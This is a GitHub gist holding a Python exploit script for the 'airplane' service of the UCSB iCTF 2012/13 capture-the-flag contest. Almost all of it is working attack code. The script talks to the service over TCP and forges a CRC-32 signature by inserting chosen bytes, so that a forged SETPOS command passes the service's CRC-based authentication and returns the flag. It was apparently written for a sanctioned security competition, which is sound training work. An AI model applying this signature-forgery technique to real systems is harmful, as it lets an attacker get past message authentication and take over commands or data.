Skip to content

Instantly share code, notes, and snippets.

@rep
Created March 23, 2013 23:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rep/5229723 to your computer and use it in GitHub Desktop.
Save rep/5229723 to your computer and use it in GitHub Desktop.
Latest working version of the exploit for the UCSB iCTF 2012/13 airplane service.
import math
import md5
import re
import socket
import select
class Disconnect(Exception):
pass
class Timeout(Exception):
pass
BUFSIZE = 1024 * 16
READ_TIMEOUT = 60
MEGAREGEX = 'FLIGHT "([A_0-9]{6})".*pos=\[(\d+),(\d+)\].*orig="([A-Za-z ]+).*dest="([A-Za-z ]+)"\(\[(\d+),(\d+)'
from struct import pack,unpack
# Poly in "reversed" notation -- http://en.wikipedia.org/wiki/Cyclic_redundancy_check
POLY = 0xedb88320 # CRC-32-IEEE 802.3
#POLY = 0x82F63B78 # CRC-32C (Castagnoli)
#POLY = 0xEB31D82E # CRC-32K (Koopman)
#POLY = 0xD5828281 # CRC-32Q
def build_crc_tables():
for i in range(256):
fwd = i
rev = i << 24
for j in range(8, 0, -1):
# build normal table
if (fwd & 1) == 1:
fwd = (fwd >> 1) ^ POLY
else:
fwd >>= 1
crc32_table[i] = fwd & 0xffffffff
# build reverse table =)
if rev & 0x80000000 == 0x80000000:
rev = ((rev ^ POLY) << 1) | 1
else:
rev <<= 1
rev &= 0xffffffff
crc32_reverse[i] = rev
crc32_table, crc32_reverse = [0]*256, [0]*256
build_crc_tables()
def crc32(s): # same crc32 as in (binascii.crc32)&0xffffffff
crc = 0xffffffff
for c in s:
crc = (crc >> 8) ^ crc32_table[(crc ^ ord(c)) & 0xff]
return crc^0xffffffff
def forge(wanted_crc, str, pos=None):
if pos is None:
pos = len(str)
# forward calculation of CRC up to pos, sets current forward CRC state
fwd_crc = 0xffffffff
for c in str[:pos]:
fwd_crc = (fwd_crc >> 8) ^ crc32_table[(fwd_crc ^ ord(c)) & 0xff]
# backward calculation of CRC up to pos, sets wanted backward CRC state
bkd_crc = wanted_crc^0xffffffff
for c in str[pos:][::-1]:
bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ crc32_reverse[bkd_crc >> 24] ^ ord(c)
# deduce the 4 bytes we need to insert
for c in pack('<L',fwd_crc)[::-1]:
bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ crc32_reverse[bkd_crc >> 24] ^ ord(c)
res = str[:pos] + pack('<L', bkd_crc) + str[pos:]
assert(crc32(res) == wanted_crc)
return res
import random
import binascii
def GenRandomValues(iSize=20):
s = ""
while len(s) < iSize:
c = chr(random.randint(0, 255))
if c != '\n':
s += c
return s
def ComputeSign(d, szKey):
s = ""
for k in sorted(d.keys()):
s += "%s:%s;" %(k, d[k])
s = "%s%s" % (s, szKey)
return "%.8x" % (binascii.crc32(s) & 0xffffffff)
def ComputeSignEx(d, szKey):
s = ""
for k in sorted(d.keys()):
s += "%s:%s;" %(k, d[k])
s = "%s%s" % (s, szKey)
return s
def ComputeSignNum(d, szKey):
s = ""
for k in sorted(d.keys()):
s += "%s:%s;" %(k, d[k])
s = "%s%s" % (s, szKey)
return binascii.crc32(s)
class Exploit():
def send(self, data):
self.socket.sendall(data)
def recv(self):
try:
d = self.socket.recv(BUFSIZE)
except socket.timeout:
raise Timeout()
if not d: raise Disconnect()
return d
def recvuntil(self, x):
buf = ''
while not x in buf:
buf += self.recv()
return buf
def wait(self, rfds=None, timeout=None):
if not timeout: timeout = READ_TIMEOUT
if not rfds: rfds = [self.socket,]
rr, wr, xr = select.select(rfds, [], [], timeout)
return rr
def connect(self, ip, port):
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.settimeout(10)
t = 3
connected = False
while t > 0:
try: self.socket.connect((ip, port))
except:
t -= 1
continue
else:
connected = True
break
self.socket.settimeout(READ_TIMEOUT)
return connected
def error(self, msg):
self.flag = msg
def execute(self, ip, port, flag_id):
couldconnect = self.connect(ip, port)
if not couldconnect: return self.error("Could not connect.")
try:
self.do_exploit(flag_id)
except Disconnect:
return self.error("Disconnected mid-exploitation.")
except Timeout:
return self.error("Timeout while reading from target.")
except Exception, e:
return self.error(e)
# at this point, exploit should have succeeded and gotten a flag
return
def result(self):
return {'FLAG' : self.flag }
def do_exploit(self, flag_id):
self.send("CODE=LIST\n\n")
buf = self.recvuntil("CODE=OK")
flights = filter(lambda x: 'FLIGHT' in x, buf.split('\n'))
flight = flights[0]
fid, posx, posy, szOrigin, szDestination, dx, dy = re.findall(MEGAREGEX, flight)[0]
posx, posy, dx, dy = int(posx), int(posy), int(dx), int(dy)
ox, oy = (dy-posy)*1.0, (dx-posx) *-1.0
iDiff = int(math.sqrt((ox) ** 2 + (oy) ** 2))
ox, oy = int(ox/iDiff * 70), int(oy/iDiff*70)
while True:
self.send("CODE=LIST\nID={0}\nRAND=.6..FS.O\nSIGN=2638147f\n\n".format(fid))
buf = self.recvuntil("SIGN")
x = buf.find('RAND')
pulen = buf.find("SIGN")
d = dict(CODE="ERROR", RAND=buf[x+5:x+5+8])
targetcrc = ComputeSignNum(d, '')
d = dict(CODE="SETPOS", FGID=flag_id, ID=fid, POSX=str(int(posx)+ox), POSY=str(int(posy)+oy), RAND=GenRandomValues(4))
#sign = ComputeSign(d, md5.new("%s-%s-%s" % (MASTER_KEY, szOrigin, szDestination)).hexdigest())
#d['SIGN'] = sign
oldinput = ComputeSignEx(d, '')
try:
newinput = forge(targetcrc, oldinput, len(oldinput)-1)
except AssertionError:
continue
break
d['RAND'] = newinput[-9:-1]
d['SIGN'] = buf[pulen+5:pulen+5+8]
self.send("\n".join("{0}={1}".format(k,v) for k,v in d.items()) + "\n\n")
buf = self.recvuntil("FLAG")
lines = filter(lambda x: 'FLAG' in x, buf.split('\n'))
if len(lines) > 0:
self.flag = lines[0].split('=')[1]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment